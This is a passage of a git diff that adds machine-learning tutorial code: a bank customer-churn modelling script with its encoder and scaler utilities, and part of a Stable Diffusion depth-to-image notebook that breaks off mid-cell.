return_counts=True) +weights = np.max(num_samples)/num_samples +# Define weight dictionnary +weights_dict = dict() +class_labels = [0,1] +# Weights associated with classes +for a,b in zip(class_labels,weights): + weights_dict[a] = b + +weights_dict + +# %% +# Defining model +lr = LogisticRegression(C=1.0, penalty='l2', class_weight=weights_dict, n_jobs=-1) +# train +lr.fit(X_train, y_train) + +# %% +print(f'Confusion Matrix: \n{confusion_matrix(y_val, lr.predict(X_val))}') +print(f'Area Under Curve: {roc_auc_score(y_val, lr.predict(X_val))}') +print(f'Recall score: {recall_score(y_val,lr.predict(X_val))}') +print(f'Classification report: \n{classification_report(y_val,lr.predict(X_val))}') + +# %% +svm = SVC(C=1.0, kernel="linear", class_weight=weights_dict) +svm.fit(X_train, y_train) + +# %% +# Validation metrics +print(f'Confusion Matrix: {confusion_matrix(y_val, lr.predict(X_val))}') +print(f'Area Under Curve: {roc_auc_score(y_val, lr.predict(X_val))}') +print(f'Recall score: {recall_score(y_val,lr.predict(X_val))}') +print(f'Classification report: \n{classification_report(y_val,lr.predict(X_val))}') + +# %% +pca = PCA(n_components=2) +# Transforming the dataset using PCA +X_pca = pca.fit_transform(X_train) +y = y_train +X_pca.shape, y.shape + +# %% +# min and max values +xmin, xmax = X_pca[:, 0].min() - 2, X_pca[:, 0].max() + 2 +ymin, ymax = X_pca[:, 1].min() - 2, X_pca[:, 1].max() + 2 +# Creating a mesh region where the boundary will be plotted +xx, yy = np.meshgrid(np.arange(xmin, xmax, 0.2), + np.arange(ymin, ymax, 0.2)) +# Fitting LR model on 2 features +lr.fit(X_pca, y) +# Fitting SVM model on 2 features +svm.fit(X_pca, y) +# Plotting decision boundary for LR +z1 = lr.predict(np.c_[xx.ravel(), yy.ravel()]) +z1 = z1.reshape(xx.shape) +# Plotting decision boundary for SVM +z2 = svm.predict(np.c_[xx.ravel(), yy.ravel()]) +z2 = z2.reshape(xx.shape) +# Displaying the result +plt.contourf(xx, yy, z1, alpha=0.4) # LR +plt.contour(xx, yy, z2, alpha=0.4, colors='blue') # SVM +sns.scatterplot(X_pca[:,0], X_pca[:,1], hue=y_train, s=50, alpha=0.8) +plt.title('Linear models - LogReg and SVM') + +# %% +# Features selected from the RFE process +selected_feats_dt + +# %% +# Re-defining X_train and X_val to consider original unscaled continuous features. y_train and y_val remain unaffected +X_train = dc_train[selected_feats_dt].values +X_val = dc_val[selected_feats_dt].values +# Decision tree classiier model +clf = DecisionTreeClassifier(criterion='entropy', class_weight=weights_dict, max_depth=4, max_features=None + , min_samples_split=25, min_samples_leaf=15) +# Fit the model +clf.fit(X_train, y_train) +# Checking the importance of different features of the model +pd.DataFrame({'features': selected_feats, + 'importance': clf.feature_importances_ + }).sort_values(by='importance', ascending=False) + +# %% +# Validation metrics +print(f'Confusion Matrix: {confusion_matrix(y_val, clf.predict(X_val))}') +print(f'Area Under Curve: {roc_auc_score(y_val, clf.predict(X_val))}') +print(f'Recall score: {recall_score(y_val,clf.predict(X_val))}') +print(f'Classification report: \n{classification_report(y_val,clf.predict(X_val))}') + +# %% +# Decision tree Classifier +clf = DecisionTreeClassifier(criterion='entropy', class_weight=weights_dict, + max_depth=3, max_features=None, + min_samples_split=25, min_samples_leaf=15) +# We fit the model +clf.fit(X_train, y_train) +# Export now as a dot file +dot_data = export_graphviz(clf, out_file='tree.dot', + feature_names=selected_feats_dt, + class_names=['Did not churn', 'Churned'], + rounded=True, proportion=False, + precision=2, filled=True) +# Convert to png using system command (requires Graphviz installation) +subprocess.run(['dot', '-Tpng','tree.dot', '-o', 'tree.png', '-Gdpi=600'], shell=True) +# Display the rule-set of a single tree +from IPython.display import Image +Image(filename='tree.png') + +# %% +## Preparing data and a few common model parameters +# Unscaled features will be used since it's a tree model + +X_train = dc_train.drop(columns = ['Exited'], axis = 1) +X_val = dc_val.drop(columns = ['Exited'], axis = 1) + +# %% +from utils import * + +best_f1_lgb = LGBMClassifier(boosting_type='dart', class_weight={0: 1, 1: 3.0}, min_child_samples=20, n_jobs=-1, importance_type='gain', max_depth=6, num_leaves=63, colsample_bytree=0.6, learning_rate=0.1, n_estimators=201, reg_alpha=1, reg_lambda=1) +best_recall_lgb = LGBMClassifier(boosting_type='dart', num_leaves=31, max_depth=6, learning_rate=0.1, n_estimators=21, class_weight={0: 1, 1: 3.93}, min_child_samples=2, colsample_bytree=0.6, reg_alpha=0.3, reg_lambda=1.0, n_jobs=-1, importance_type='gain') +model = Pipeline(steps = [('categorical_encoding', CategoricalEncoder()), + ('add_new_features', AddFeatures()), + ('classifier', best_f1_lgb) + ]) +# Fitting final model on train dataset +model.fit(X_train, y_train) +# Predict target probabilities +val_probs = model.predict_proba(X_val)[:,1] +# Predict target values on val data +val_preds = np.where(val_probs > 0.45, 1, 0) # The probability threshold can be tweaked +# Validation metrics +print(f'Confusion Matrix: {confusion_matrix(y_val,val_preds)}') +print(f'Area Under Curve: {roc_auc_score(y_val,val_preds)}') +print(f'Recall score: {recall_score(y_val,val_preds)}') +print(f'Classification report: \n{classification_report(y_val,val_preds)}') + +# %% +# Save model object +joblib.dump(model, 'final_churn_model_f1_0_45.sav') + +# %% +# Load model object +model = joblib.load('final_churn_model_f1_0_45.sav') +X_test = dc_test.drop(columns=['Exited'], axis=1) +# Predict target probabilities +test_probs = model.predict_proba(X_test)[:,1] +# Predict target values on test data +test_preds = np.where(test_probs > 0.45, 1, 0) # Flexibility to tweak the probability threshold +#test_preds = model.predict(X_test) +# Test set metrics +roc_auc_score(y_test, test_preds) +recall_score(y_test, test_preds) +confusion_matrix(y_test, test_preds) +print(classification_report(y_test, test_preds)) + +# %% +# Adding predictions and their probabilities in the original test dataframe +test = dc_test.copy() +test['predictions'] = test_preds +test['pred_probabilities'] = test_probs +test.sample(5) + +# %% +high_churn_list = test[test.pred_probabilities > 0.7].sort_values(by=['pred_probabilities'], ascending=False + ).reset_index().drop(columns=['index', 'Exited', 'predictions'], axis=1) +high_churn_list.shape +high_churn_list.head() + +# %% +high_churn_list.to_csv('high_churn_list.csv', index=False) + +# %% + + + diff --git a/machine-learning/customer-churn-detection/utils.py b/machine-learning/customer-churn-detection/utils.py new file mode 100644 index 00000000..ddd8c816 --- /dev/null +++ b/machine-learning/customer-churn-detection/utils.py @@ -0,0 +1,319 @@ +import numpy as np +from sklearn.base import BaseEstimator, TransformerMixin + +class CategoricalEncoder(BaseEstimator, TransformerMixin): + """ + Encodes categorical columns using LabelEncoding, OneHotEncoding and TargetEncoding. + LabelEncoding is used for binary categorical columns + OneHotEncoding is used for columns with <= 10 distinct values + TargetEncoding is used for columns with higher cardinality (>10 distinct values) + + """ + + def __init__(self, cols = None, lcols = None, ohecols = None, tcols = None, reduce_df = False): + """ + + Parameters + ---------- + cols : list of str + Columns to encode. Default is to one-hot/target/label encode all categorical columns in the DataFrame. + reduce_df : bool + Whether to use reduced degrees of freedom for encoding + (that is, add N-1 one-hot columns for a column with N + categories). E.g. for a column with categories A, B, + and C: When reduce_df is True, A=[1, 0], B=[0, 1], + and C=[0, 0]. When reduce_df is False, A=[1, 0, 0], + B=[0, 1, 0], and C=[0, 0, 1] + Default = False + + """ + + if isinstance(cols,str): + self.cols = [cols] + else : + self.cols = cols + + if isinstance(lcols,str): + self.lcols = [lcols] + else : + self.lcols = lcols + + if isinstance(ohecols,str): + self.ohecols = [ohecols] + else : + self.ohecols = ohecols + + if isinstance(tcols,str): + self.tcols = [tcols] + else : + self.tcols = tcols + + self.reduce_df = reduce_df + + + def fit(self, X, y): + """Fit label/one-hot/target encoder to X and y + + Parameters + ---------- + X : pandas DataFrame, shape [n_samples, n_columns] + DataFrame containing columns to encode + y : pandas Series, shape = [n_samples] + Target values. + + Returns + ------- + self : encoder + Returns self. + """ + + # Encode all categorical cols by default + if self.cols is None: + self.cols = [c for c in X if str(X[c].dtype)=='object'] + + # Check columns are in X + for col in self.cols: + if col not in X: + raise ValueError('Column \''+col+'\' not in X') + + # Separating out lcols, ohecols and tcols + if self.lcols is None: + self.lcols = [c for c in self.cols if X[c].nunique() <= 2] + + if self.ohecols is None: + self.ohecols = [c for c in self.cols if ((X[c].nunique() > 2) & (X[c].nunique() <= 10))] + + if self.tcols is None: + self.tcols = [c for c in self.cols if X[c].nunique() > 10] + + + ## Create Label Encoding mapping + self.lmaps = dict() + for col in self.lcols: + self.lmaps[col] = dict(zip(X[col].values, X[col].astype('category').cat.codes.values)) + + + ## Create OneHot Encoding mapping + self.ohemaps = dict() #dict to store map for each column + for col in self.ohecols: + self.ohemaps[col] = [] + uniques = X[col].unique() + for unique in uniques: + self.ohemaps[col].append(unique) + if self.reduce_df: + del self.ohemaps[col][-1] + + + ## Create Target Encoding mapping + self.global_target_mean = y.mean().round(2) + self.sum_count = dict() + for col in self.tcols: + self.sum_count[col] = dict() + uniques = X[col].unique() + for unique in uniques: + ix = X[col]==unique + self.sum_count[col][unique] = (y[ix].sum(),ix.sum()) + + + ## Return the fit object + return self + + + def transform(self, X, y=None): + """Perform label/one-hot/target encoding transformation. + + Parameters + ---------- + X : pandas DataFrame, shape [n_samples, n_columns] + DataFrame containing columns to label encode + + Returns + ------- + pandas DataFrame + Input DataFrame with transformed columns + """ + + Xo = X.copy() + ## Perform label encoding transformation + for col, lmap in self.lmaps.items(): + + # Map the column + Xo[col] = Xo[col].map(lmap) + Xo[col].fillna(-1, inplace=True) ## Filling new values with -1 + + + ## Perform one-hot encoding transformation + for col, vals in self.ohemaps.items(): + for val in vals: + new_col = col+'_'+str(val) + Xo[new_col] = (Xo[col]==val).astype('uint8') + del Xo[col] + + + ## Perform LOO target encoding transformation + # Use normal target encoding if this is test data + if y is None: + for col in self.sum_count: + vals = np.full(X.shape[0], np.nan) + for cat, sum_count in self.sum_count[col].items(): + vals[X[col]==cat] = (sum_count[0]/sum_count[1]).round(2) + Xo[col] = vals + Xo[col].fillna(self.global_target_mean, inplace=True) # Filling new values by global target mean + + # LOO target encode each column + else: + for col in self.sum_count: + vals = np.full(X.shape[0], np.nan) + for cat, sum_count in self.sum_count[col].items(): + ix = X[col]==cat + if sum_count[1] > 1: + vals[ix] = ((sum_count[0]-y[ix].reshape(-1,))/(sum_count[1]-1)).round(2) + else : + vals[ix] = ((y.sum() - y[ix])/(X.shape[0] - 1)).round(2) # Catering to the case where a particular + # category level occurs only once in the dataset + + Xo[col] = vals + Xo[col].fillna(self.global_target_mean, inplace=True) # Filling new values by global target mean + + + ## Return encoded DataFrame + return Xo + + + def fit_transform(self, X, y=None): + """Fit and transform the data via label/one-hot/target encoding. + + Parameters + ---------- + X : pandas DataFrame, shape [n_samples, n_columns] + DataFrame containing columns to encode + y : pandas Series, shape = [n_samples] + Target values (required!). + + Returns + ------- + pandas DataFrame + Input DataFrame with transformed columns + """ + + return self.fit(X, y).transform(X, y) + + + +class AddFeatures(BaseEstimator): + """ + Add new, engineered features using original categorical and numerical features of the DataFrame + """ + + def __init__(self, eps = 1e-6): + """ + Parameters + ---------- + eps : A small value to avoid divide by zero error. Default value is 0.000001 + """ + + self.eps = eps + + + def fit(self, X, y=None): + return self + + + def transform(self, X): + """ + Parameters + ---------- + X : pandas DataFrame, shape [n_samples, n_columns] + DataFrame containing base columns using which new interaction-based features can be engineered + """ + Xo = X.copy() + ## Add 4 new columns - bal_per_product, bal_by_est_salary, tenure_age_ratio, age_surname_mean_churn + Xo['bal_per_product'] = Xo.Balance/(Xo.NumOfProducts + self.eps) + Xo['bal_by_est_salary'] = Xo.Balance/(Xo.EstimatedSalary + self.eps) + Xo['tenure_age_ratio'] = Xo.Tenure/(Xo.Age + self.eps) + Xo['age_surname_enc'] = np.sqrt(Xo.Age) * Xo.Surname_enc + + ## Returning the updated dataframe + return Xo + + + def fit_transform(self, X, y=None): + """ + Parameters + ---------- + X : pandas DataFrame, shape [n_samples, n_columns] + DataFrame containing base columns using which new interaction-based features can be engineered + """ + return self.fit(X,y).transform(X) + + + +class CustomScaler(BaseEstimator, TransformerMixin): + """ + A custom standard scaler class with the ability to apply scaling on selected columns + """ + + def __init__(self, scale_cols = None): + """ + Parameters + ---------- + scale_cols : list of str + Columns on which to perform scaling and normalization. Default is to scale all numerical columns + + """ + self.scale_cols = scale_cols + + + def fit(self, X, y=None): + """ + Parameters + ---------- + X : pandas DataFrame, shape [n_samples, n_columns] + DataFrame containing columns to scale + """ + + # Scaling all non-categorical columns if user doesn't provide the list of columns to scale + if self.scale_cols is None: + self.scale_cols = [c for c in X if ((str(X[c].dtype).find('float') != -1) or (str(X[c].dtype).find('int') != -1))] + + + ## Create mapping corresponding to scaling and normalization + self.maps = dict() + for col in self.scale_cols: + self.maps[col] = dict() + self.maps[col]['mean'] = np.mean(X[col].values).round(2) + self.maps[col]['std_dev'] = np.std(X[col].values).round(2) + + # Return fit object + return self + + + def transform(self, X): + """ + Parameters + ---------- + X : pandas DataFrame, shape [n_samples, n_columns] + DataFrame containing columns to scale + """ + Xo = X.copy() + + ## Map transformation to respective columns + for col in self.scale_cols: + Xo[col] = (Xo[col] - self.maps[col]['mean']) / self.maps[col]['std_dev'] + + + # Return scaled and normalized DataFrame + return Xo + + + def fit_transform(self, X, y=None): + """ + Parameters + ---------- + X : pandas DataFrame, shape [n_samples, n_columns] + DataFrame containing columns to scale + """ + # Fit and return transformed dataframe + return self.fit(X).transform(X) + + \ No newline at end of file diff --git a/machine-learning/depth2image-stable-diffusion/Img2imgGenerationStableDiffusion_Depth2img_PythonCodeTutorial.ipynb b/machine-learning/depth2image-stable-diffusion/Img2imgGenerationStableDiffusion_Depth2img_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..cbff7872 --- /dev/null +++ b/machine-learning/depth2image-stable-diffusion/Img2imgGenerationStableDiffusion_Depth2img_PythonCodeTutorial.ipynb @@ -0,0 +1,4802 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "metadata": { + "id": "VHvuI4dpcxYM" + }, + "source": [ + "# Part 1" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "OHttLFAGRCX0" + }, + "source": [ + "Note: Before running the code, make sure you upload the images you want to edit to Colab." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "tEWYSTAiPUgA" + }, + "outputs": [], + "source": [ + "%pip install --quiet --upgrade diffusers transformers scipy ftfy" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "krtAPL7tKA-J" + }, + "outputs": [], + "source": [ + "%pip install --quiet --upgrade accelerate" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "U7eXBBRZPqel" + }, + "outputs": [], + "source": [ + "import numpy as np\n", + "from tqdm import tqdm\n", + "from PIL import Image\n", + "\n", + "import torch\n", + "from torch import autocast\n", + "\n", + "from transformers import CLIPTextModel, CLIPTokenizer\n", + "from transformers import DPTForDepthEstimation, DPTFeatureExtractor\n", + "\n", + "from diffusers import AutoencoderKL, UNet2DConditionModel\n", + "from diffusers.schedulers.scheduling_pndm import PNDMScheduler" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "0B1NCql5jkmo" + }, + "source": [ + "## Model definition" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "fK0Cu4xnPe4E" + }, + "outputs": [], + "source": [ + "class DiffusionPipeline:\n", + "\n", + " def __init__(self, \n", + " vae, \n", + " tokenizer, \n", + " text_encoder, \n", + " unet, \n", + " scheduler):\n", + " \n", + " self.vae = vae\n", + " self.tokenizer = tokenizer\n", + " self.text_encoder = text_encoder\n", + " self.unet = unet\n", + " self.scheduler = scheduler\n", + " self.device = 'cuda' if torch.cuda.is_available() else 'cpu'\n", + " \n", + " \n", + " def get_text_embeds(self, text):\n", + " # tokenize the text\n", + " text_input = self.tokenizer(text, \n", + " padding='max_length', \n", + " max_length=tokenizer.model_max_length, \n", + " truncation=True, \n", + " return_tensors='pt')\n", + " # embed the text\n", + " with torch.no_grad():\n", + " text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]\n", + " return text_embeds\n", + "\n", + "\n", + " def get_prompt_embeds(self, prompt):\n", + " if isinstance(prompt, str):\n", + " prompt = [prompt]\n", + " # get conditional prompt embeddings\n", + " cond_embeds = self.get_text_embeds(prompt)\n", + " # get unconditional prompt embeddings\n", + " uncond_embeds = self.get_text_embeds([''] * len(prompt))\n", + " # concatenate the above 2 embeds\n", + " prompt_embeds = torch.cat([uncond_embeds, cond_embeds])\n", + " return prompt_embeds\n", + "\n", + "\n", + "\n", + " def decode_img_latents(self, img_latents):\n", + " img_latents = 1 / self.vae.config.scaling_factor * img_latents\n", + " with torch.no_grad():\n", + " img = self.vae.decode(img_latents).sample\n", + " \n", + " img = (img / 2 + 0.5).clamp(0, 1)\n", + " img = img.cpu().permute(0, 2, 3, 1).float().numpy()\n", + " return img\n", + "\n", + "\n", + "\n", + " def transform_img(self, img):\n", + " # scale images to the range [0, 255] and convert to int\n", + " img = (img * 255).round().astype('uint8')\n", + " # convert to PIL Image objects\n", + " img = [Image.fromarray(i) for i in img]\n", + " return img\n", + "\n", + "\n", + " def encode_img_latents(self, img, latent_timestep):\n", + " if not isinstance(img, list):\n", + " img = [img]\n", + " \n", + " img = np.stack([np.array(i) for i in img], axis=0)\n", + " # scale images to the range [-1, 1]\n", + " img = 2 * ((img / 255.0) - 0.5)\n", + " img = torch.from_numpy(img).float().permute(0, 3, 1, 2)\n", + " img = img.to(self.device)\n", + "\n", + " # encode images\n", + " img_latents_dist = self.vae.encode(img)\n", + " img_latents = img_latents_dist.latent_dist.sample()\n", + " \n", + " # scale images\n", + " img_latents = self.vae.config.scaling_factor * img_latents\n", + " \n", + " # add noise to the latents\n", + " noise = torch.randn(img_latents.shape).to(self.device)\n", + " img_latents = self.scheduler.add_noise(img_latents, noise, latent_timestep)\n", + "\n", + " return img_latents\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "2uME1Fs7Vq8y" + }, + "outputs": [], + "source": [ + "class Depth2ImgPipeline(DiffusionPipeline):\n", + " def __init__(self, \n", + " vae, \n", + " tokenizer, \n", + " text_encoder, \n", + " unet, \n", + " scheduler, \n", + " depth_feature_extractor, \n", + " depth_estimator):\n", + " \n", + " super().__init__(vae, tokenizer, text_encoder, unet, scheduler)\n", + "\n", + " self.depth_feature_extractor = depth_feature_extractor\n", + " self.depth_estimator = depth_estimator\n", + "\n", + "\n", + " def get_depth_mask(self, img):\n", + " if not isinstance(img, list):\n", + " img = [img]\n", + "\n", + " width, height = img[0].size\n", + " \n", + " # pre-process the input image and get its pixel values\n", + " pixel_values = self.depth_feature_extractor(img, return_tensors=\"pt\").pixel_values\n", + "\n", + " # use autocast for automatic mixed precision (AMP) inference\n", + " with autocast('cuda'):\n", + " depth_mask = self.depth_estimator(pixel_values).predicted_depth\n", + " \n", + " # get the depth mask\n", + " depth_mask = torch.nn.functional.interpolate(depth_mask.unsqueeze(1),\n", + " size=(height//8, width//8),\n", + " mode='bicubic',\n", + " align_corners=False)\n", + " \n", + " # scale the mask to range [-1, 1]\n", + " depth_min = torch.amin(depth_mask, dim=[1, 2, 3], keepdim=True)\n", + " depth_max = torch.amax(depth_mask, dim=[1, 2, 3], keepdim=True)\n", + " depth_mask = 2.0 * (depth_mask - depth_min) / (depth_max - depth_min) - 1.0\n", + " depth_mask = depth_mask.to(self.device)\n", + "\n", + " # replicate the mask for classifier free guidance \n", + " depth_mask = torch.cat([depth_mask] * 2)\n", + " return depth_mask\n", + "\n", + "\n", + "\n", + " \n", + " def denoise_latents(self, \n", + " img,\n", + " prompt_embeds,\n", + " depth_mask,\n", + " strength,\n", + " num_inference_steps=50,\n", + " guidance_scale=7.5,\n", + " height=512, width=512):\n", + " \n", + " # clip the value of strength to ensure strength lies in [0, 1]\n", + " strength = max(min(strength, 1), 0)\n", + "\n", + " # compute timesteps\n", + " self.scheduler.set_timesteps(num_inference_steps)\n", + "\n", + " init_timestep = int(num_inference_steps * strength)\n", + " t_start = num_inference_steps - init_timestep\n", + " \n", + " timesteps = self.scheduler.timesteps[t_start: ]\n", + " num_inference_steps = num_inference_steps - t_start\n", + "\n", + " latent_timestep = timesteps[:1].repeat(1)\n", + "\n", + " latents = self.encode_img_latents(img, latent_timestep)\n", + "\n", + " # use autocast for automatic mixed precision (AMP) inference\n", + " with autocast('cuda'):\n", + " for i, t in tqdm(enumerate(timesteps)):\n", + " latent_model_input = torch.cat([latents] * 2)\n", + " latent_model_input = torch.cat([latent_model_input, depth_mask], dim=1)\n", + " \n", + " # predict noise residuals\n", + " with torch.no_grad():\n", + " noise_pred = self.unet(latent_model_input, t, encoder_hidden_states=prompt_embeds)['sample']\n", + "\n", + " # separate predictions for unconditional and conditional outputs\n", + " noise_pred_uncond, noise_pred_text = noise_pred.chunk(2)\n", + " \n", + " # perform guidance\n", + " noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_text - noise_pred_uncond)\n", + "\n", + " # remove the noise from the current sample i.e. go from x_t to x_{t-1}\n", + " latents = self.scheduler.step(noise_pred, t, latents)['prev_sample']\n", + "\n", + " return latents\n", + "\n", + "\n", + " def __call__(self, \n", + " prompt, \n", + " img, \n", + " strength=0.8,\n", + " num_inference_steps=50,\n", + " guidance_scale=7.5,\n", + " height=512, width=512):\n", + "\n", + "\n", + " prompt_embeds = self.get_prompt_embeds(prompt)\n", + "\n", + " depth_mask = self.get_depth_mask(img)\n", + "\n", + " latents = self.denoise_latents(img,\n", + " prompt_embeds,\n", + " depth_mask,\n", + " strength,\n", + " num_inference_steps,\n", + " guidance_scale,\n", + " height, width)\n", + "\n", + " img = self.decode_img_latents(latents)\n", + "\n", + " img = self.transform_img(img)\n", + " \n", + " return img\n" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "IQ0YObQCjbUU" + }, + "source": [ + "## Create instance of the model" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "SjVpjMXOPe6h" + }, + "outputs": [], + "source": [ + "device = 'cuda'\n", + "\n", + "# Load autoencoder\n", + "vae = AutoencoderKL.from_pretrained('stabilityai/stable-diffusion-2-depth', subfolder='vae').to(device)\n", + "\n", + "# Load tokenizer and the text encoder\n", + "tokenizer = CLIPTokenizer.from_pretrained('stabilityai/stable-diffusion-2-depth', subfolder='tokenizer')\n", + "text_encoder = CLIPTextModel.from_pretrained('stabilityai/stable-diffusion-2-depth', subfolder='text_encoder').to(device)\n", + "\n", + "# Load UNet model\n", + "unet = UNet2DConditionModel.from_pretrained('stabilityai/stable-diffusion-2-depth', subfolder='unet').to(device)\n", + "\n", + "# Load scheduler\n", + "scheduler = PNDMScheduler(beta_start=0.00085, \n", + " beta_end=0.012, \n", + " beta_schedule='scaled_linear', \n", + " num_train_timesteps=1000)\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "H5FipQQOKbiS", + "outputId": "ff6719d7-cc17-4e3b-ff60-9342fe911af1" + }, + "outputs": [], + "source": [ + "# Load DPT Depth Estimator\n", + "depth_estimator = DPTForDepthEstimation.from_pretrained('stabilityai/stable-diffusion-2-depth', subfolder='depth_estimator')\n", + "\n", + "# Load DPT Feature Extractor\n", + "depth_feature_extractor = DPTFeatureExtractor.from_pretrained('stabilityai/stable-diffusion-2-depth', subfolder='feature_extractor')\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "IgWXvP7TPe8p" + }, + "outputs": [], + "source": [ + "depth2img = Depth2ImgPipeline(vae, \n", + " tokenizer, \n", + " text_encoder, \n", + " unet, \n", + " scheduler,\n", + " depth_feature_extractor,\n", + " depth_estimator)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "u3End173jf5D" + }, + "source": [ + "## Examples" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 497 + }, + "id": "PvdI6VVnPfAE", + "outputId": "6ddb97f9-ef83-4430-eecb-3f156fe0c3dd" + }, + "outputs": [], + "source": [ + "import urllib.parse as parse\n", + "import os\n", + "import requests\n", + "\n", + "# a function to determine whether a string is a URL or not\n", + "def is_url(https://github.com/string):\n", + " try:\n", + " result = parse.urlparse(string)\n", + " return all([result.scheme, result.netloc, result.path])\n", + " except:\n", + " return False\n", + "\n", + "\n", + "# a function to load an image\n", + "def load_image(image_path):\n", + " if is_url(https://github.com/image_path):\n", + " return Image.open(requests.get(image_path, stream=True).raw)\n", + " elif os.path.exists(image_path):\n", + " return Image.open(image_path)\n", + "\n", + "\n", + "url = \"http://images.cocodataset.org/val2017/000000039769.jpg/"\n", + "img = load_image(url)\n", + "img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 514 + }, + "id": "B1FRHDHtFZ2x", + "outputId": "b10b39ee-4ba5-4769-920f-1ea71c5de282" + }, + "outputs": [], + "source": [ + "depth2img(\"two tigers\", img)[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 529 + }, + "id": "WMLYkwDoGKUk", + "outputId": "8e5d015f-187c-49b1-f863-4fba0abd2f45" + }, + "outputs": [], + "source": [ + "img = load_image(\"image16.png\")\n", + "img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 546 + }, + "id": "bjBvAVZVGKWr", + "outputId": "ad13f40d-de3a-480c-843c-b4e481a8b7a2" + }, + "outputs": [], + "source": [ + "prompt = \"A boulder with gemstones falling down a hill\"\n", + "depth2img(prompt, img)[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 529 + }, + "id": "6eTFNAewGKZJ", + "outputId": "4f906958-c76a-4cfe-dc2a-ca60272d1d08" + }, + "outputs": [], + "source": [ + "img = load_image(\"image11.png\").resize((512, 512))\n", + "img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "DlJv2-1eN0da", + "outputId": "a879b4b6-9c03-47be-8834-494365cb58b3" + }, + "outputs": [], + "source": [ + "import gc\n", + "import torch\n", + "\n", + "# Run this cell if you get OOM - Out of Memory - errors\n", + "torch.cuda.empty_cache()\n", + "gc.collect()\n", + "torch.cuda.empty_cache()\n", + "gc.collect()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "AhvSACo4N6g2", + "outputId": "6292f90c-aaf7-4c73-9384-d5e59bf59b5b" + }, + "outputs": [], + "source": [ + "# just to check GPU memory\n", + "!nvidia-smi" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 546 + }, + "id": "Uy0ziM_xGKbP", + "outputId": "aa03b031-d5f7-48fa-ad48-22e7edcee10a" + }, + "outputs": [], + "source": [ + "prompt = \"A futuristic city on the edge of space, a robotic bionic singularity portal, sci fi, utopian, tim hildebrandt, wayne barlowe, bruce pennington, donato giancola, larry elmore\"\n", + "depth2img(prompt, img)[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "RryrZSIucvee" + }, + "source": [ + "# Part 2" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "37BGMrgkbgOX" + }, + "outputs": [], + "source": [ + "import torch\n", + "import requests\n", + "from PIL import Image\n", + "from diffusers import StableDiffusionDepth2ImgPipeline" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "1jqWIRGBbgR8" + }, + "outputs": [], + "source": [ + "pipe = StableDiffusionDepth2ImgPipeline.from_pretrained(\n", + " \"stabilityai/stable-diffusion-2-depth\",\n", + " torch_dtype=torch.float16,\n", + ").to(\"cuda\")" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "a11H5bbvfjs1" + }, + "source": [ + "## Impact of negative prompt example" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 382 + }, + "id": "7_HoqLyqrlta", + "outputId": "26b03e01-d07d-4a6f-e9f5-642ddbb299f2" + }, + "outputs": [], + "source": [ + "img = load_image(\"https://images.pexels.com/photos/406152/pexels-photo-406152.jpeg?auto=compress&cs=tinysrgb&w=600\")\n", + "img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 409, + "referenced_widgets": [ + "b168918d31b34653897402751e9bbecc", + "ed9bd4313a1a477a820abec0b6f911f6", + "889529d86c064f73844e8074765f2cf0", + "95ebc05ee7f640af86a54aadcd40ddbe", + "a654808c82cc4672a19728ac22f26e5e", + "f228ea9baedf457985c032deab6b96df", + "665e483725974558b1712ef1fa235a7d", + "2540be75baeb49769f279ad95778a857", + "b2a6584f8d6f4c2ab221f8f90a1a560a", + "ed5435b53cb646d080918c6720e222bd", + "cd0e13f6e6dc444c80f7464747846e21" + ] + }, + "id": "mBngqY_Q7zRb", + "outputId": "8c7a6992-514c-4bbf-dcb3-4b6f5774d311" + }, + "outputs": [], + "source": [ + "prompt = \"A salad with tomatoes and guanas chips mixed with ketchup and mustard and bay leaf and guacamole and onions and ketchup and luscious patty with sesame seeds and cashews and onions and ketchup, ethereal,\"\n", + "pipe(prompt=prompt, image=img, negative_prompt=None, strength=0.7).images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 409, + "referenced_widgets": [ + 